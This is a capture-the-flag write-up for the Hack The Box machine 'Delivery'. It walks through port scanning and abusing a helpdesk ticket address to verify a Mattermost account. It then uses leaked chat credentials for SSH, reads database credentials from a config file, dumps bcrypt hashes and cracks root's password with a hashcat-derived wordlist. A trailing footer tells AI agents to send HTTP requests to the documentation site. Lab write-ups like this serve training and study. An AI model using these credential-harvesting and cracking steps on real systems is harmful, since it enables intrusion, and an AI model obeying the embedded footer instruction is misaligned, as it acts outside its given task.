# Delivery

![](/files/JBi7OwqNEatrigTsIGny)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.222 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Wed Jun 22 11:01:43 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.222
Nmap scan report for 10.10.10.222
Host is up (0.056s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8065/tcp open  unknown

# Nmap done at Wed Jun 22 11:01:57 2022 -- 1 IP address (1 host up) scanned in 13.62 seconds
```

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,8065 10.10.10.222 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Wed Jun 22 11:02:34 2022 as: nmap -sCV -p22,80,8065 -oN targeted 10.10.10.222
Nmap scan report for 10.10.10.222
Host is up (0.037s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome
|_http-server-header: nginx/1.14.2
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Wed, 22 Jun 2022 08:51:53 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: i1sxxey8mbdk3pmyzc5z7shk6c
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Wed, 22 Jun 2022 09:02:51 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Wed, 22 Jun 2022 09:02:51 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8065-TCP:V=7.92%I=7%D=6/22%Time=62B2DAB8%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20public\
SF:r\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-ancesto
SF:rs\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Wed,\x2022\
SF:x20Jun\x202022\x2008:51:53\x20GMT\r\nX-Frame-Options:\x20SAMEORIGIN\r\n
SF:X-Request-Id:\x20i1sxxey8mbdk3pmyzc5z7shk6c\r\nX-Version-Id:\x205\.30\.
SF:0\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20Wed,\x
SF:2022\x20Jun\x202022\x2009:02:51\x20GMT\r\n\r\n<!doctype\x20html><html\x
SF:20lang=\"en\"><head><meta\x20charset=\"utf-8\"><meta\x20name=\"viewport
SF:\"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1,user
SF:-scalable=0\"><meta\x20name=\"robots\"\x20content=\"noindex,\x20nofollo
SF:w\"><meta\x20name=\"referrer\"\x20content=\"no-referrer\"><title>Matter
SF:most</title><meta\x20name=\"mobile-web-app-capable\"\x20content=\"yes\"
SF:><meta\x20name=\"application-name\"\x20content=\"Mattermost\"><meta\x20
SF:name=\"format-detection\"\x20content=\"telephone=no\"><link\x20re")%r(H
SF:TTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:\x2
SF:0Wed,\x2022\x20Jun\x202022\x2009:02:51\x20GMT\r\nContent-Length:\x200\r
SF:\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close
SF:\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 22 11:04:15 2022 -- 1 IP address (1 host up) scanned in 100.60 seconds
```

Let's take a look at the website on port *80*.

![](/files/Jmkg7EaVJn9PX2A314mT)

If we press on the `CONTACT US` button, a message pop up will appear saying that we need an `@delivery.htb` email address to have access to the *MatterMost* server.

![](/files/GclPMV3jQSoNQPN9EZ9l)

If we click on the `MatterMost` server button, we'll be redirected to the `delivery.htb` domain on port *8065*, and if click on the `HelpDesk` button, we'll be redirected to the `helpdesk.delivery.htb` domain. Let's add these domains to the `/etc/hosts` file, so we can access those websites.

> nano /etc/hosts

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.222    helpdesk.delivery.htb    delivery.htb
```

Now, we can access the `helpdesk.delivery.htb` site.

![](/files/IFoE5pNFjvNKQzabGjDn)

And to the *MatterMost* web server.

![](/files/kHDhd2jtOT48fx7zdOfG)

## Exploitation

Let's try to create a new account by clicking on the `Create one now` button.

![](/files/Cvl7LZQvVofLYHe8OdKm)

But we get a message saying that we must verify our email. But we can't because that email doesn't exist, and if we enter an existent email, we won't get any verification email because the *HTB* machines doesn't have internet connection. So, we can't create an account for now. If we take a look at the other website, we'll see that it is a *Support Ticket System* site. Let's open a new ticket with some random information.

![](/files/IV9ES5UtsrQPhF8PuXtv)

And the support ticket request is created.

![](/files/CQU54yPKvtjaR6BpD8zD)

We could check the ticket status by indicating the email and the ticket *ID*.

![](/files/SjcmvGG8cKVF6pvhBNNR)

Now, we can see the ticket information.

![](/files/JPk8qUs7NUFm7Y2h1zHD)

Notice that when we created the ticket, we got a message saying the following.

> *If you want to add more information to your ticket, just email <6483323@delivery.htb>.*

This means that if the `6483323@delivery.htb` email address receive any information, that information will be shown on the ticket thread. We create a new user in the *MatterMost* web server by taking advantage of this system. The idea is to create a user on the *MatterMost* web server with the `6483323@delivery.htb` email address, so the confirmation email will appear on the ticket thread, and we'll be able to verify the account. Let's do it.

![](/files/YyNYrQvX9J6nA5Wr5DJC)

Now, we should get the verification email in the ticket thread.

![](/files/YifjgPnN1eaRqQ9Ldv18)

Now, all we have to do is access the following URL to get the account verified.

> <http://delivery.htb:8065/do\\_verify\\_email?token=fikk1crukuu16jkt9ia1b85okerminztcj378e3g3bonxd8ztqgrbmsjc58n8xch\\&email=6483323%40delivery.htb>

![](/files/Ue75be33g3PHF6opOMPN)

Once logged in, let's join the `Internal` team.

![](/files/VNmQMABqxwR2nJY7Fyjl)

And then, skip the tutorial.

![](/files/6ebP6QeNw3ZXBwK4hAeu)

If we read the chat messages, we'll see that the *root* user is giving the `maildeliverer:Youve_G0t_Mail!` credentials. And he is saying that they are using passwords that are a variant of `PleaseSubscribe!`.&#x20;

![](/files/KzkWBaEJy5Ucv6NGNUa6)

If we try to log in via SSH with those credentials, we'll be able to get a shell as the `maildeliverer` user and we'll be able to grab the user flag.

> sshpass -p 'Youve\_G0t\_Mail!' ssh maildeliverer\@10.10.10.222

```
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from 10.10.14.5
maildeliverer@Delivery:~$ whoami
maildeliverer
maildeliverer@Delivery:~$ cat user.txt 
307dc48ceb606480b91244ae6fbd85ca
```

## Privilege Escalation

At this point, I started enumerating the machine, and I found the `/opt/mattermost/config/config.json` config file with some MySQL credentials.

> cat /opt/mattermost/config/config.json

```json
***
"SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    }
***
```

Let's access MySQL with those credentials.

> mysql -u mmuser -pCrack\_The\_MM\_Admin\_PW

* `-u` **user** for login.
* `-p` **password** for login.

```
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 68
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

Now, let's list the databases.

> show databases;

```
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.001 sec)
```

Then, access the `mattermost` database, and list all the tables.

> use mattermost;
>
> show tables;

```
MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)
```

Now, let's see the columns of the `Users` table.

> describe Users;

```
+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)
```

And finally, select everything from the `Username` and `Password` columns from the `Users` table.

> select Username,Password from Users;

```
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| test                             | $2a$10$dGn9yEBxlvV3PTWP6amqTOwl/zursaB0UfweXAt6lsUUUWmNSFHqG |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| alfa8sa                          | $2a$10$UGHE.smCzw8DM.6FUrDCnuLIoFdCXoiRZedJme.LDoTP7cEcrSAYG |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+
9 rows in set (0.001 sec)
```

We get a bunch of hashes. If you remember, the root user said in the chat that the password was a variant of the `PleaseSubscribe!` password. Let's create a custom wordlist with *hashcat* with variants of that password. First, let's put that password in the `pwd` file.

> echo 'PleaseSubscribe!' > pwd

And now, let's create the custom wordlist with *hashcat* using the `best64` rule, and put the output in the `pwds` file.

> hashcat --stdout pwd -r /usr/share/hashcat/rules/best64.rule > pwds

* `--stdout` don't crack a hash, instead print **candidates** only.
* `-r` multiple **rules** applied to each word from wordlists.

Now, let's put the root hash in the `hash` file, and try to crack it with *john*, using the `pwds` wordlist.

> john --wordlist=pwds hash

```
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)     
1g 0:00:00:00 DONE (2022-06-23 16:49) 1.190g/s 42.85p/s 42.85c/s 42.85C/s PleaseSubscribe!12..PleaseSubscrio
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

And we get the `PleaseSubscribe!21` password. Now, all we have to do is become the root user, and reap the harvest and take the root flag.

> su root

```
Password: PleaseSubscribe!21
root@Delivery:/home/maildeliverer# whoami
root
root@Delivery:/home/maildeliverer# id
uid=0(root) gid=0(root) groups=0(root)
root@Delivery:/home/maildeliverer# cat /root/root.txt 
5e26ead3124195a021543932b3afa281
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/delivery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
